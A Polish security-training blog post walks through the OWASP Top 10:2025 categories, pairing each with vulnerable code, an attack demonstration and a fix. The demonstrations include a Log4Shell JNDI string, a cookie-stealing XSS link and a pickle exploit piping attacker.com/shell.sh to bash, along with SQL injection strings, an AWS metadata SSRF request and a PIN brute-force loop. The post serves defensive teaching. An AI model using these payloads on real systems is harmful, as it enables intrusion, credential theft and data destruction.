Blog JSystems - uwalniamy wiedzę!

Szukaj
OWASP Top 10 2025, bezpieczeństwo aplikacji webowych: tarcza chroniąca sieć serwerów
OWASP Top 10 w edycji 2025: dziesięć najgroźniejszych klas podatności aplikacji webowych.

Według raportu Verizon Data Breach Investigations, 43% naruszeń danych wynika bezpośrednio z podatności aplikacji webowych. Atakujący nie muszą łamać firewalli ani przejmować serwerów. Wystarczy jeden niesprawdzony parametr w formularzu, jeden hash MD5 w bazie, jedna otwarta na oścież metadana chmurowa.

OWASP Top 10 to lista dziesięciu najgroźniejszych klas podatności, którą każdy programista i pentester powinien znać na pamięć. Nie jako ciekawostka, lecz jako codzienna lista kontrolna. W tym artykule omówimy każdą z nich, z przykładem podatnego kodu, pokazem działania ataku i konkretnym fixem.

Co to jest OWASP i skąd pochodzi Top 10

OWASP (Open Web Application Security Project) to organizacja non-profit założona w 2001 roku. Jej misją jest poprawa bezpieczeństwa oprogramowania przez publikację bezpłatnych narzędzi, standardów i dokumentacji. Projekty OWASP są używane przez rządy, banki, firmy technologiczne i audytorów na całym świecie.

Lista Top 10 jest aktualizowana co kilka lat na podstawie danych zebranych od setek firm i badaczy bezpieczeństwa. Najnowsza wersja to OWASP Top 10:2025, finalna od stycznia 2026 (ogłoszona w listopadzie 2025 na konferencji OWASP Global AppSec). Powstała na podstawie analizy ponad 175 tysięcy rekordów CVE oraz ankiet wśród tysięcy organizacji; poprzednia edycja, OWASP Top 10 2021, obowiązywała przez cztery lata. Lista nie jest rankingiem „najczęstszych" błędów, lecz klas podatności według kombinacji częstości, łatwości eksploatacji i potencjalnych szkód.

Obok Top 10 OWASP publikuje też ASVS (Application Security Verification Standard), szczegółowy standard weryfikacji bezpieczeństwa aplikacji, oraz Testing Guide z metodologią testów. To materiały, na których opierają się profesjonalne szkolenia z testów penetracyjnych.

Broken Access Control (A01:2025): podatność numer jeden

Broken Access Control jest liderem listy od 2021 roku i utrzymała pierwsze miejsce w edycji 2025. Oznacza sytuację, gdy aplikacja nie weryfikuje prawidłowo, czy użytkownik ma prawo dostępu do żądanego zasobu. W 2025 roku wchłonęła też dawną osobną kategorię SSRF (Server-Side Request Forgery), którą omawiamy na końcu tej sekcji.

Animacja ataku Broken Access Control (IDOR)
Łańcuch ataku IDOR: podmiana identyfikatora w adresie prowadzi do odczytu cudzych danych.

Przykład podatny: IDOR (Insecure Direct Object Reference)

# PHP - podatny endpoint
$order_id = $_GET['order_id'];  // np. ?order_id=1042
$query = "SELECT * FROM orders WHERE id = $order_id";
// BRAK sprawdzenia czy order_id należy do zalogowanego użytkownika!

Atak

Atakujący zmienia ?order_id=1042 na ?order_id=1043, 1044... i odczytuje zamówienia innych użytkowników. Przy sekwencyjnych ID wystarczy pętla. W 2021 roku podatność IDOR dotknęła m.in. Facebooka: przez API można było pobrać dane kont innych użytkowników, znając tylko ich numer telefonu.

Bezpieczny kod

# Python/Django - autoryzacja po stronie serwera
order = Order.objects.get(id=order_id, user=request.user)
# jeśli zamówienie nie należy do request.user --> DoesNotExist --> 404

# Dodatkowo: użyj UUID zamiast sekwencyjnych ID
# order_id=a3f8b2c1-4d6e-... jest nieprzewidywalny

Zasada: każdy request do zasobu musi weryfikować własność po stronie serwera. Ukrywanie ID przed użytkownikiem (security by obscurity) nie wystarcza. UUID zamiast sekwencyjnych liczb utrudnia odgadnięcie, ale nie zastępuje autoryzacji.

SSRF (Server-Side Request Forgery): od 2025 podkategoria Broken Access Control

SSRF trafiło do Top 10 w 2021 roku jako osobna kategoria (dawne A10), a w edycji 2025 zostało włączone do Broken Access Control. Atak polega na zmuszeniu serwera do wykonania requestu HTTP do wewnętrznych zasobów infrastruktury, zasobów niedostępnych z zewnątrz. Szczególnie groźny w środowiskach chmurowych (AWS, Azure, GCP).

Animacja ataku SSRF
Atak SSRF: serwer pobiera podstawiony adres wewnętrzny i oddaje klucze dostępu do chmury.

Podatny kod: pobieranie URL od użytkownika

# Aplikacja: "wklej URL obrazka, my go pobierzemy i przeskalujemy"
import requests

def fetch_image(url):
    # Podatne: brak walidacji URL
    response = requests.get(url, timeout=5)
    return response.content

Atak: kradzież AWS credentials

# Metadata endpoint AWS (IMDS) - dostępny TYLKO z instancji EC2
# Atakujący podaje jako URL obrazka:
url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role"

# Serwer wykonuje request do wewnętrznego endpointu i zwraca:
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "...",
#   "Token": "...",   ← tymczasowe credentials z pełnym dostępem do AWS!
#   "Expiration": "2025-01-01T12:00:00Z"
# }

# Inne cele SSRF:
# http://localhost:8080/actuator/env  (Spring Boot actuator - dane konfiguracji)
# http://192.168.1.1/admin             (router wewnętrzny)
# http://10.0.0.5:5432                  (PostgreSQL w sieci wewnętrznej)

Bezpieczny kod: walidacja URL

import ipaddress
from urllib.parse import urlparse

ALLOWED_SCHEMES = {'http', 'https'}
BLOCKED_HOSTS = {
    '169.254.169.254',   # AWS metadata
    '169.254.170.2',     # AWS ECS metadata
    'metadata.google.internal',  # GCP metadata
}

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        return False
    hostname = parsed.hostname
    if hostname in BLOCKED_HOSTS:
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        # Blokuj RFC 1918 (prywatne), loopback, link-local
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            return False
    except ValueError:
        pass  # hostname, nie IP - OK
    return True

def fetch_image(url: str):
    if not is_safe_url(url):
        raise ValueError("URL not allowed")
    # Wyłącz przekierowania (mogą prowadzić na wewnętrzne zasoby!)
    response = requests.get(url, timeout=5, allow_redirects=False)
    return response.content

Na poziomie infrastruktury: IMDSv2 (Instance Metadata Service v2) w AWS wymaga tokenu sesji, więc SSRF z prostego GET nie zadziała. Włącz IMDSv2 na wszystkich instancjach EC2. W GCP i Azure analogiczne mechanizmy ochrony metadanych są dostępne w konfiguracji instancji.

Security Misconfiguration (A02:2025): błędy konfiguracji

W edycji 2025 awansowała z piątego na drugie miejsce i jest jedną z najczęstszych podatności pod względem liczby incydentów. Aplikacja działa poprawnie, ale jest źle skonfigurowana, otwierając drzwi atakującym.

Animacja ataku Security Misconfiguration
Od skanu do przejęcia panelu: błędna konfiguracja i domyślne hasła otwierają drogę.

Typowe przykłady

# Django w trybie DEBUG na produkcji
DEBUG = True  # pokazuje stack trace z pełną ścieżką, zmiennymi, ustawieniami

# CORS bez ograniczeń - każda domena może wysyłać requesty
CORS_ALLOW_ALL_ORIGINS = True  # w produkcji powinno być False

# Nginx - directory listing (pokazuje zawartość katalogu)
# nginx.conf - NIE powinno być "autoindex on" w produkcji

# Domyślne credentials w panelu admina
# admin / admin, admin / password, root / root

Fix

# Django production settings
DEBUG = False
ALLOWED_HOSTS = ['jsystems.pl', 'www.jsystems.pl']  # lista, nie '*'
CORS_ALLOWED_ORIGINS = ['https://jsystems.pl']

# Security headers (middleware Django)
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = 'DENY'
SECURE_HSTS_SECONDS = 31536000

# Nginx - wyłącz directory listing
# server { location / { autoindex off; } }

Automatyczne narzędzia do weryfikacji konfiguracji: Lynis (Linux hardening), Mozilla Observatory (HTTP headers), SSL Labs (konfiguracja TLS). W CI/CD warto uruchamiać OWASP ZAP baseline scan przy każdym deploymencie.

Software Supply Chain Failures (A03:2025): podatne komponenty i łańcuch dostaw

W edycji 2025 dawna kategoria Vulnerable and Outdated Components urosła do Software Supply Chain Failures i obejmuje już nie tylko przestarzałe biblioteki, ale cały łańcuch dostaw oprogramowania: repozytoria pakietów, systemy budowania, potoki CI/CD oraz zależności przechodnie (biblioteki, z których korzystają inne używane przez Ciebie biblioteki). Używasz komponentu ze znaną podatnością? Twoja aplikacja też jest podatna, niezależnie od jakości Twojego własnego kodu. CVE-2021-44228 (Log4Shell) pokazał to spektakularnie.

Animacja ataku Log4Shell
Log4Shell: payload w nagłówku pobiera złośliwą klasę i prowadzi do zdalnego wykonania kodu.

Log4Shell: atak przez User-Agent

# Podatna wersja: Log4j 2.0-beta9 do 2.14.1
# Log4j domyślnie logował User-Agent i interpretował JNDI lookup

# Payload w nagłówku HTTP:
User-Agent: ${jndi:ldap://attacker.com/exploit}

# Log4j wykonywał lookup JNDI --> pobierał klasę Java z serwera atakującego
# Wynik: Remote Code Execution (RCE) - pełna kontrola nad serwerem
# Dotyczyło 90%+ aplikacji Java w 2021 roku (w tym Apple iCloud, Amazon AWS, VMware)

Fix: automatyczne skanowanie zależności

# JavaScript/Node.js
npm audit
npm audit fix

# Python
pip-audit  # lub safety check
pip install --upgrade pip && pip list --outdated

# Docker images
trivy image myapp:latest  # skanuje podatności w warstwie OS i pakietach

# GitHub - automatyczny PR z aktualizacją
# Włącz Dependabot alerts w ustawieniach repozytorium

# SCA (Software Composition Analysis) w CI/CD pipeline
# snyk test  # integruje się z GitHub Actions, GitLab CI, Jenkins

Zasada: utrzymuj aktualne zależności i monitoruj CVE dla swojego stosu technologicznego. Subskrybuj newslettery bezpieczeństwa: CERT Polska, US-CERT, listę NVD. Baza CVE: nvd.nist.gov.

Cryptographic Failures (A04:2025): słaba kryptografia

Wcześniej znana jako „Sensitive Data Exposure". Dotyczy przypadków, gdy dane wrażliwe (hasła, numery kart, dane osobowe) są przechowywane lub przesyłane bez odpowiedniego zabezpieczenia kryptograficznego.

Animacja łamania słabych skrótów
Słabe skróty MD5: po wycieku bazy tablice rainbow łamią hasła w ułamku sekundy.

Przykład podatny

# Podatne hashowanie hasła - MD5
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()
# Wynik: "5f4dcc3b5aa765d61d8327deb882cf99" --> "password"
# Tablice rainbow i GPU łamią miliardy MD5/s

# Klucz API zahardkodowany w kodzie
API_KEY = "sk-prod-abc123XYZ"  # pojawi się w historii git!

Atak

Baza z hasłami MD5 wyciekła? Serwis CrackStation i narzędzia jak Hashcat z GPU łamią typowe hasła MD5 w ułamku sekundy przez wyszukiwanie w prekomputowanych tablicach rainbow. Baza 1 miliarda najpopularniejszych haseł w MD5 ma rozmiar kilku GB i jest publicznie dostępna.

Bezpieczny kod

# bcrypt z automatycznym salt
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
# bcrypt jest celowo wolny - 100ms/operację --> brute-force nieefektywny

# Klucze API w zmiennych środowiskowych
import os
API_KEY = os.environ.get("API_KEY")  # nigdy w kodzie!

Użyj bcrypt, scrypt lub Argon2 do hashowania haseł. Zawsze HTTPS. Klucze i sekrety trzymaj w zmiennych środowiskowych lub narzędziach typu HashiCorp Vault. Regularnie skanuj historię git narzędziami jak truffleHog lub git-secrets.

Injection (A05:2025): SQL Injection, XSS i inne wstrzyknięcia

Kategoria Injection obejmuje wszystkie ataki, w których dane od użytkownika są interpretowane jako kod, od SQL Injection po Cross-Site Scripting (XSS, omawiany niżej). SQL Injection istnieje od lat 90. i wciąż jest w pierwszej piątce OWASP. Dlaczego? Bo wciąż powstają aplikacje z podatnym kodem. Atak polega na wstrzyknięciu fragmentu zapytania SQL poprzez dane wejściowe użytkownika.

Animacja ataku SQL Injection
SQL Injection: wstrzyknięty warunek zmienia zapytanie i omija logowanie.

Przykład podatny: Python

# Podatne zapytanie - konkatenacja stringa
username = request.POST.get('username')
query = f"SELECT * FROM users WHERE username='{username}'"
cursor.execute(query)

Atak

# Bypass logowania - klasyczny SQLi
username = "' OR '1'='1"
# Wygenerowane zapytanie:
# SELECT * FROM users WHERE username='' OR '1'='1'
# Zwraca WSZYSTKICH użytkowników - logujemy się jako pierwszy w bazie

# Destrukcja danych - SQL injection w UPDATE
username = "'; DROP TABLE users; --"
# SELECT * FROM users WHERE username=''; DROP TABLE users; --'

# Blind SQLi - ekstrakcja hasła znak po znaku (przykład koncepcyjny)
# ' AND SUBSTRING(password,1,1)='a' --
# (automatyzacja przez sqlmap)

Bezpieczny kod

# Prepared statements - parametryzowane zapytania
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
# Dane i zapytanie są ROZDZIELONE - wstrzyknięcie niemożliwe

# ORM (SQLAlchemy) - automatycznie bezpieczny
user = session.query(User).filter(User.username == username).first()

# Django ORM
user = User.objects.get(username=username)  # zawsze parametryzowane

Narzędzie sqlmap automatyzuje wykrywanie i eksploatację SQL Injection. W pentestach używa się go do weryfikacji podatności. Narzędzie Burp Suite pozwala przechwycić request i manualnie zmodyfikować parametry. WAF (Web Application Firewall) może blokować popularne payloady, ale nie zastępuje bezpiecznego kodu.

Atak SQL injection narzędziem sqlmap: zrzut tabeli users z DVWA
Realny atak SQL injection: sqlmap wykrywa podatność w parametrze id, rozpoznaje MariaDB i zrzuca tabelę użytkowników razem ze złamanymi hasłami (skan na naszej instancji DVWA).

Cross-Site Scripting (XSS): wstrzykiwanie kodu do przeglądarki

XSS jest częścią kategorii Injection (w edycji 2025 to A05). To wciąż jedna z najczęściej eksploatowanych podatności, dlatego omawiamy ją osobno.

Animacja ataku Reflected XSS
Reflected XSS: skrypt z adresu trafia do strony i wykrada ciastko sesji ofiary.

Przykład podatny: Reflected XSS

# Flask - podatny template (Jinja2 z | safe)
@app.route('/search')
def search():
    query = request.args.get('q', '')
    return render_template_string(
        f"<h1>Wyniki dla: {query}</h1>"  # BEZ escapowania!
    )

# URL ataku (wysyłany ofierze np. przez email):
# /search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
# Ofiara klika --> jej ciastka sesji lądują u atakującego --> przejęcie konta

Bezpieczny kod: obrona przed XSS

# Jinja2 domyślnie escapuje zmienne (NIE używaj | safe na danych od użytkownika)
return render_template('search.html', query=query)
# W template: {{ query }} --> automatyczny escape: <script> --> bezpieczny tekst

# Content Security Policy (CSP) - header HTTP blokujący inline scripts
response.headers['Content-Security-Policy'] = (
    "default-src 'self'; "
    "script-src 'self' 'nonce-{nonce}'; "  # tylko skrypty z nonce
    "object-src 'none';"
)

# Sanityzacja HTML (gdy trzeba pozwolić na formatowanie)
import bleach
ALLOWED_TAGS = ['b', 'i', 'em', 'strong', 'p', 'br']
clean_html = bleach.clean(user_html, tags=ALLOWED_TAGS, strip=True)

Insecure Design (A06:2025): błędy na poziomie architektury

Wprowadzona w OWASP 2021 i utrzymana w edycji 2025. Dotyczy wad projektowych, sytuacji, gdy bezpieczna implementacja nie jest możliwa, bo sama architektura jest błędna. Nie da się naprawić Insecure Design samym patchem kodu.

Animacja ataku na wadę projektową
Wada projektu: brak limitu prób pozwala złamać 4-cyfrowy PIN brute-forcem.

Przykład podatny: brak rate limitingu na reset hasła

# Endpoint: POST /reset-password
# Parametr: pin=1234 (4-cyfrowy PIN wysłany SMS-em)
# Problem: brak limitu prób

# Atak brute-force:
for pin in range(0000, 9999):
    response = requests.post('/reset-password', data={'pin': str(pin).zfill(4)})
    if response.status_code == 200:
        print(f"PIN znaleziony: {pin}")
        break
# Przy 100 req/s --> złamanie w max 100 sekund

Fix projektowy

  • Rate limiting: max 5 prób resetu hasła na godzinę per adres IP i per konto
  • Wygasanie tokenu: PIN ważny 15 minut, jednorazowy
  • CAPTCHA po 3 nieudanych próbach
  • Powiadomienie email o każdej próbie resetu, użytkownik wie że ktoś próbuje
  • Dłuższy token (co najmniej 6 cyfr lub token alfanumeryczny 32 znaki) zamiast 4-cyfrowego PIN

Insecure Design wymaga Threat Modeling na etapie projektowania, analizy możliwych wektorów ataku zanim powstanie pierwsza linijka kodu. Metodyki: STRIDE (Microsoft), PASTA, diagramy przepływu danych (DFD).

Authentication Failures (A07:2025): błędy uwierzytelniania

Wcześniej znana jako „Identification and Authentication Failures" (2021), a jeszcze wcześniej „Broken Authentication" (2017). Dotyczy błędów w implementacji logowania, zarządzania sesją i weryfikacji tożsamości użytkownika.

Animacja ataku credential stuffing
Credential stuffing: automat testuje pary login i hasło z wycieków, aż trafi.

Przykłady podatności

# 1. Token sesji w URL (wyciek przez Referer header, logi serwera)
GET /dashboard?session_id=abc123xyz HTTP/1.1
# Bezpieczne: cookie HttpOnly;Secure;SameSite=Strict

# 2. Brak invalidacji sesji po wylogowaniu
def logout(request):
    # Podatne: tylko usuwa ciastko u klienta
    response.delete_cookie('session_id')
    # Bezpieczne: usuwa ALSO sesję po stronie serwera
    request.session.flush()  # Django

# 3. Brak limitu prób logowania - credential stuffing
# Atakujący używa list par login:hasło z wycieków (HaveIBeenPwned)
# Narzędzia: Hydra, Medusa, Burp Intruder

Bezpieczna implementacja uwierzytelniania

# Django - bezpieczne ciastka sesji
SESSION_COOKIE_HTTPONLY = True   # niedostępne dla JavaScript
SESSION_COOKIE_SECURE = True     # tylko HTTPS
SESSION_COOKIE_SAMESITE = 'Strict'  # blokuje CSRF przez cross-site

# Rate limiting logowania (biblioteka django-axes)
AXES_FAILURE_LIMIT = 5          # blokada po 5 nieudanych próbach
AXES_COOLOFF_TIME = 1           # 1 godzina blokady

# 2FA - TOTP (Time-based One-Time Password)
# Biblioteki: django-otp, pyotp
# Aplikacje: Google Authenticator, Authy, Microsoft Authenticator

# Hashowanie haseł z "pepper" (sekret z env, nie z bazy)
PASSWORD_PEPPER = os.environ.get('PASSWORD_PEPPER')
hashed = bcrypt.hashpw((password + PASSWORD_PEPPER).encode(), bcrypt.gensalt())

Session fixation to atak, w którym atakujący wymusza na ofierze użycie sesji o znane mu ID. Fix: regeneruj ID sesji po każdym logowaniu. W Django: request.session.cycle_key() po pomyślnym logowaniu.

Software or Data Integrity Failures (A08:2025): niebezpieczna deserializacja

Kategoria wprowadzona w OWASP 2021 i utrzymana w 2025, łącząca niebezpieczną deserializację (z OWASP 2017) z naruszeniami integralności w pipeline CI/CD. Deserializacja niezaufanych danych może prowadzić do Remote Code Execution.

Animacja niebezpiecznej deserializacji
Niebezpieczna deserializacja: pickle od użytkownika wykonuje polecenie na serwerze.

Podatny kod: Python pickle

# PODATNE: pickle.loads na danych od użytkownika
import pickle, base64

data = request.POST.get('user_data')  # base64-encoded pickle
obj = pickle.loads(base64.b64decode(data))  # RCE!

# Payload atakującego (uproszczony):
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()

Fix

# BEZPIECZNE: JSON zamiast pickle dla danych od użytkownika
import json
data = json.loads(request.POST.get('user_data'))  # JSON nie wykonuje kodu

# YAML - używaj safe_load, nie load!
import yaml
data = yaml.safe_load(stream)  # NIE yaml.load(stream) - to RCE!

# Weryfikacja integralności danych serializowanych (HMAC)
import hmac, hashlib
def sign(data: bytes, secret: bytes) -> str:
    return hmac.new(secret, data, hashlib.sha256).hexdigest()

def verify(data: bytes, signature: str, secret: bytes) -> bool:
    expected = sign(data, secret)
    return hmac.compare_digest(expected, signature)  # bezpieczne porównanie

# CI/CD pipeline - weryfikuj checksums paczek
# pip install --require-hashes -r requirements.txt

Security Logging and Alerting Failures (A09:2025): cichy agresor

W edycji 2025 kategorię przemianowano z „Security Logging and Monitoring Failures" na „Security Logging and Alerting Failures": nacisk przeniesiono na realne alertowanie, nie na samo zbieranie logów. Średni czas wykrycia naruszenia bezpieczeństwa wynosi 277 dni (207 dni wykrywanie + 70 dni opanowanie, IBM Cost of Data Breach 2023). Tak długo działa atakujący w systemie zanim ktokolwiek zauważy. Brak logowania i monitoringu to gwarancja że incydent pozostanie niezauważony.

Animacja braku logowania i alertów
Brak alertów: atak trwa tygodniami, a wykrycie zajmuje średnio 277 dni.

Realny case: atak brute-force niezauważony przez 3 miesiące

W 2020 roku SolarWinds był atakowany przez 3 miesiące zanim ktokolwiek zauważył. Na mniejszą skalę: typowy atak credential stuffing na formularz logowania, 50 requestów/minutę przez tygodnie, pozostaje niewidoczny bez alertów na failed logins.

# Co logować - minimum

import logging
logger = logging.getLogger('security')

# 1. Nieudane próby logowania
def login_failed(username, ip):
    logger.warning(f"FAILED_LOGIN user={username} ip={ip} ts={time.time()}")

# 2. Zmiana uprawnień / roli użytkownika
def role_changed(user_id, old_role, new_role, changed_by):
    logger.critical(f"ROLE_CHANGE user={user_id} {old_role}->{new_role} by={changed_by}")

# 3. Dostęp do wrażliwych endpointów
def sensitive_access(user_id, resource, ip):
    logger.warning(f"SENSITIVE_ACCESS user={user_id} resource={resource} ip={ip}")

# 4. Masowy eksport danych
def bulk_export(user_id, record_count):
    if record_count > 1000:
        logger.critical(f"BULK_EXPORT user={user_id} records={record_count}")

Minimalna architektura monitoringu

  • Logi: centralizuj w ELK Stack (Elasticsearch + Logstash + Kibana) lub Grafana Loki
  • Alerty: >10 nieudanych logowań z jednego IP w 5 minut --> alert do Slack/PagerDuty
  • Retencja: minimum 1 rok zgodnie z RODO i dyrektywą NIS2
  • Integralność logów: logi tylko do zapisu (append-only), kopia offsite
  • SIEM: przy większych organizacjach, Splunk, Wazuh (open-source), Microsoft Sentinel

Pamiętaj: logi zawierające dane osobowe (IP, username) podlegają RODO, zadbaj o odpowiednią podstawę prawną, pseudonimizację lub anonimizację po upływie retencji.

Mishandling of Exceptional Conditions (A10:2025): błędna obsługa sytuacji wyjątkowych

Zupełnie nowa kategoria w edycji 2025, zbudowana z 24 klas podatności (CWE). Dotyczy sytuacji, gdy aplikacja źle reaguje na stan wyjątkowy: nieobsłużony wyjątek, błąd logiczny, przekroczony limit czasu, brak zasobu. Najgroźniejszy wariant to tak zwany fail-open: gdy pojawi się błąd, aplikacja domyślnie przepuszcza żądanie, zamiast je odrzucić.

Animacja ataku fail-open
Fail-open: wymuszony wyjątek w kontroli dostępu domyślnie przyznaje dostęp.

Przykład podatny: kontrola dostępu, która przy błędzie przepuszcza

# Python - podatna kontrola dostępu
def user_can_access(user, resource):
    try:
        return check_permission(user, resource)
    except Exception:
        return True  # FAIL-OPEN: każdy błąd = dostęp przyznany!

# check_permission() odpytuje bazę. Gdy baza ma timeout,
# rzuca wyjątek --> funkcja zwraca True --> atakujący wchodzi.

Atak

Atakujący nie musi łamać logiki uprawnień. Wystarczy, że doprowadzi do wyjątku w check_permission: przeciąży bazę, poda dane w formacie, którego kod się nie spodziewa, albo trafi w moment przeładowania serwera. Każdy błąd, którego kod nie przewidział, zamienia się w otwarte drzwi. Ten sam wzorzec dotyczy walidacji płatności, weryfikacji podpisu czy limitów prób: jeśli „gałąź błędu" kończy się sukcesem, atak sprowadza się do wywołania tego błędu.

Bezpieczny kod: fail-closed (odmowa przy błędzie)

import logging
logger = logging.getLogger("security")

def user_can_access(user, resource):
    try:
        return check_permission(user, resource)
    except Exception as exc:
        # FAIL-CLOSED: przy błędzie ODMAWIAMY i logujemy incydent
        logger.error("PERM_CHECK_FAILED user=%s resource=%s err=%s",
                     user.id, resource, exc)
        return False

# Zasady bezpiecznej obsługi wyjątków:
# 1. Domyślna reakcja na wyjątek = odmowa dostępu (deny by default).
# 2. Nie pokazuj użytkownikowi stack trace ani szczegółów błędu.
# 3. Loguj każdy nieoczekiwany wyjątek (powiązanie z A09).
# 4. Obsłuż KAŻDĄ gałąź - także tę „to się nigdy nie zdarzy".

Reguła jest prosta: gdy coś idzie nie tak, system ma się zamykać, nie otwierać. Testuj ścieżki błędów tak samo starannie jak ścieżki sukcesu. Większość podatności z tej kategorii żyje w kodzie, który podczas normalnego działania nigdy się nie wykonuje.

Jak używać OWASP w praktyce: lista kontrolna i narzędzia

Sama znajomość listy to za mało. OWASP dostarcza kompletnych narzędzi do weryfikacji bezpieczeństwa aplikacji:

OWASP ASVS: Application Security Verification Standard

ASVS to szczegółowy standard z 3 poziomami wymagań bezpieczeństwa. Poziom 1 to minimum dla każdej aplikacji webowej. Poziom 2 dla aplikacji przetwarzających dane wrażliwe. Poziom 3 dla aplikacji o krytycznym znaczeniu. Każde wymaganie ma numer V1.x, V2.x itd., idealne jako lista kontrolna przy przeglądzie kodu (code review) i pentestach.

OWASP ZAP: automatyczny skaner

# ZAP Baseline Scan w CI/CD (Docker)
# obraz owasp/zap2docker-* jest wycofany, aktualny to ghcr.io/zaproxy/zaproxy
docker run -v $(pwd):/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \
  zap-baseline.py -t https://your-app.example.com \
  -r zap_report.html

# Wynik: raport HTML z podatnościami, poziomami ryzyka, rekomendacjami
# Integruje się z Jenkins, GitHub Actions, GitLab CI
Raport OWASP ZAP Scanning Report ze skanu podatnej aplikacji
Realny raport OWASP ZAP ze skanu celowo podatnej aplikacji (DVWA): podsumowanie alertów według poziomu ryzyka i lista znalezisk, m.in. brak nagłówka Content Security Policy i ochrony przed clickjackingiem.

Burp Suite: manualny pentesting

Burp Suite to standardowe narzędzie pentesterów do manualnej analizy aplikacji webowych. Proxy HTTP przechwytuje requesty między przeglądarką a serwerem. Możesz modyfikować parametry, nagłówki i ciastka w czasie rzeczywistym. Burp Scanner (wersja Pro) automatycznie wykrywa SQLi, XSS, SSRF i setki innych podatności. Na szkoleniu z pentestów uczymy się Burp Suite od podstaw na legalnych środowiskach testowych.

Minimalna lista kontrolna bezpieczeństwa

  • Kontrola dostępu: każdy endpoint sprawdza uprawnienia po stronie serwera; UUID zamiast sekwencyjnych ID
  • Kryptografia: bcrypt/Argon2 dla haseł; HTTPS wszędzie; sekrety w env vars / vault
  • Zapytania DB: wyłącznie prepared statements lub ORM; bez konkatenacji SQL
  • Zależności: automatyczne skanowanie (Dependabot/Snyk) przy każdym PR; aktualizacje minimum co miesiąc
  • Konfiguracja: DEBUG=False na produkcji; security headers; CORS whitelist; brak domyślnych credentials
  • Uwierzytelnianie: 2FA dla kont admina; HttpOnly/Secure/SameSite cookies; regeneracja ID sesji po logowaniu; rate limiting
  • Dane wejściowe: walidacja i escape wszystkich danych od użytkownika; CSP header; sanityzacja HTML
  • SSRF: whitelist dozwolonych domen dla fetchowania URL; blokada RFC 1918 i link-local; IMDSv2 na AWS
  • Logowanie: failed logins, zmiany uprawnień, dostęp do danych wrażliwych; alert przy anomaliach; retencja 1 rok
  • CI/CD: ZAP baseline scan przy każdym deploymencie; SCA (trivy, snyk); SAST (Semgrep, Bandit)

Pobierz checklistę w PDF (do wydruku)

Testy penetracyjne: szkolenie z terminem gwarantowanym

OWASP Top 10 w praktyce, Burp Suite, Kali Linux, SQL Injection, XSS, IDOR, SSRF. Uczysz się atakować i bronić na legalnych środowiskach testowych. Terminy gwarantowane.

Szkolenie Testy penetracyjne w praktyce

Szkolenie testy penetracyjne w praktyce -->

Podsumowanie

OWASP Top 10 to nie akademicki podręcznik. To lista podatności, przez które co roku tracimy miliardy dolarów i dane milionów użytkowników. Każda z opisanych klas ma konkretny, często banalny fix. Problem leży w tym, że programiści nie wiedzą czego szukać lub nie mają nawyku myślenia o bezpieczeństwie na etapie pisania kodu.

Najgroźniejsze pozostają podobne: Broken Access Control (zapomniane sprawdzenia uprawnień, od 2025 obejmuje też SSRF), Injection (konkatenacja zapytań SQL, brak escapowania w HTML) oraz awansująca na drugie miejsce Security Misconfiguration. Wszystkie mają jedno wspólne: brak walidacji danych wejściowych i brak myślenia „co może zrobić atakujący z tym parametrem".

Jeśli chcesz pójść dalej niż teoria, przejdź przez OWASP Juice Shop (celowo podatna aplikacja do nauki), zainstaluj Burp Suite Community i przetestuj własne projekty. Albo dołącz do szkolenia, gdzie zrobisz to wszystko pod okiem eksperta na profesjonalnych środowiskach testowych.

Komentarze (0)

Musisz być zalogowany by móc dodać komentarz. Zaloguj się przez Google

Brak komentarzy...